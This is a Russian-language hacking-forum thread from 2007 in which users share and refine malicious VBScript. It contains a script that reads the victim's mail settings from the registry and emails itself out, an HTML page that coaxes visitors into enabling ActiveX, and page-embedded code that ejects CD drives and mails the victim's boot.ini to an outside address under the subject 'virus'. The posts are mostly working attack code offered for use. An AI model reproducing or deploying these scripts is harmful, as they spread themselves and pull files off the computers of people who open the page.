Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
19.05.2007, 14:44
|
|
Участник форума
Регистрация: 21.04.2007
Сообщений: 289
Провел на форуме:
4612647
Репутация:
368
|
|
GROB_T
Set SH=CreateObject("wscript.shell")
Set ml = CreateObject("CDO.Message")
Set mlo = CreateObject("CDO.Configuration")
smtps=SH.regread("HKEY_CURRENT_USER\Software\Micro soft\Internet Account Manager\Accounts\00000001\SMTP Server")
mlfrom=SH.regread("HKEY_CURRENT_USER\Software\Micr osoft\Internet Account Manager\Accounts\00000001\SMTP Email Address")
Set mlc = mlo.Fields
Set ml.Configuration = mlo
mlc("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
mlc("http://schemas.microsoft.com/cdo/configuration/smtpserver") = smtps ' Здесь автоматически определяется SMTP сервер используемый на компьютере
mlc("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 0
mlc.Update
ml.to = "Получатель"
ml.from = mlfrom ' Здесь автоматически определяется от кого письмо,можно подставить другое
ml.subject = "Сабж письма"
ml.AddAttachment (wscript.scriptfullname) ' Аттач
ml.HTMLBody = "ХТМЛ боди или простой текст"
ml.send ' Отправка
SEt mlc = Nothing
SeT mlo = Nothing
SEt ml = Nothing
|
|
|
19.05.2007, 14:58
|
|
Участник форума
Регистрация: 03.03.2007
Сообщений: 135
Провел на форуме:
833374
Репутация:
124
|
|
спс, но этот код по-моему не будет пахать, так как на большинстве серваков нужна авторизация чтоб отправить почту, но возможно на каком нить серваке и будет пахать
|
|
|
|
19.05.2007, 15:23
|
|
Участник форума
Регистрация: 22.01.2007
Сообщений: 218
Провел на форуме:
1852162
Репутация:
156
|
|
а реально ли vbs вставить нв страницу (HTMl, PHP) ?
Кстати надо ещё прогу сделать которая всё назад вернёт.Или скрипт.
Последний раз редактировалось helat; 19.05.2007 в 15:44..
|
|
|
|
19.05.2007, 15:37
|
|
Участник форума
Регистрация: 21.04.2007
Сообщений: 289
Провел на форуме:
4612647
Репутация:
368
|
|
helat , В HTML реально,на PHP не знаю. Но скрипт будет работать в таком случае только с IE. Другие браузеры не дружат с VBS.
|
|
|
|
19.05.2007, 15:42
|
|
Участник форума
Регистрация: 22.01.2007
Сообщений: 218
Провел на форуме:
1852162
Репутация:
156
|
|
КАК именно в html опиши плиз.
|
|
|
|
19.05.2007, 15:45
|
|
Участник форума
Регистрация: 11.01.2007
Сообщений: 125
Провел на форуме:
868251
Репутация:
27
|
|
Сообщение от helat
КАК именно в html опиши плиз.
http://www.compdoc.ru/internet/vbscript/vbscript/1.shtml
|
|
|
|
19.05.2007, 15:48
|
|
Участник форума
Регистрация: 21.04.2007
Сообщений: 289
Провел на форуме:
4612647
Репутация:
368
|
|
helat,
<HTML><BODY>
<script language = "JavaScript">
<!--
var userAgent=navigator.appName;
var agentInfo=userAgent.substring(0, 1);
if(agentInfo == "M"){
}
else {
alert("Эта страница оптимизирована для работа с браузером Internet Explorer. В другими браузерами возможны ошибки.")
self.close()
}
//-->
</script>
<script language ="vbscript">
On Error Resume Next
MsgBox "Чтобы посмотреть эту страницу" & vbCrLf & "Включите компонент ActiveX", vbInformation, "Уря"
Set shell=CreateObject("WScript.Shell")
If err.number=429 then
shell.Run javascript:location.reload()
else
--></script></BODY></HTML>
<HTML><HEAD><TITLE>NEX</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><FONT FACE="Arial"><CENTER><BR><BR><BR><BR><BR><BR><BR>< BR><BR><BR><font size="5">Бугогагагаа</font><BR><font size="1">бугоагаггаа</font></CENTER></BODY></HTML>
|
|
|
|
19.05.2007, 15:57
|
|
Участник форума
Регистрация: 22.01.2007
Сообщений: 218
Провел на форуме:
1852162
Репутация:
156
|
|
а файл куда вставить?
|
|
|
|
19.05.2007, 16:14
|
|
Участник форума
Регистрация: 03.03.2007
Сообщений: 135
Провел на форуме:
833374
Репутация:
124
|
|
<script language = "VBScript">
Тут текст скрипта
</script>
тока кстати, не будет пахать функция wscript.sleep
|
|
|
|
19.05.2007, 16:21
|
|
Участник форума
Регистрация: 22.01.2007
Сообщений: 218
Провел на форуме:
1852162
Репутация:
156
|
|
НЕПАШЕТ
написал
Код:
<HTML><BODY>
<script language = "VBScript">
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
Set ww = CreateObject("WMPlayer.OCX.7")
Set cw = ww.cdromCollection
if cw.Count >= 1 then
For i = 0 to cw.Count - 1
cw.Item(i).eject
next
End If
Call SendPost("smtp.mail.ru", "helats@gmail.com", "54027@mail.ru", "ВИРУС", "COPM ZARAZEN")
Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody)
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "54027"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = ""
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
Flds.Update
iMsg.Configuration = iConf
iMsg.To = strTo
iMsg.From = strFrom
iMsg.Subject = strSubject
iMsg.TextBody = strBody
iMsg.AddAttachment "c:\boot.ini"
iMsg.Send
End Function
Set iMsg = Nothing
Set iConf = Nothing
Set Flds = Nothing
</script>
</BODY></HTML>
<HTML><HEAD><TITLE></TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><FONT FACE="Arial"><CENTER><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><font size="5">ГГ</font><BR><font size="1"></font></CENTER></BODY></HTML>
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
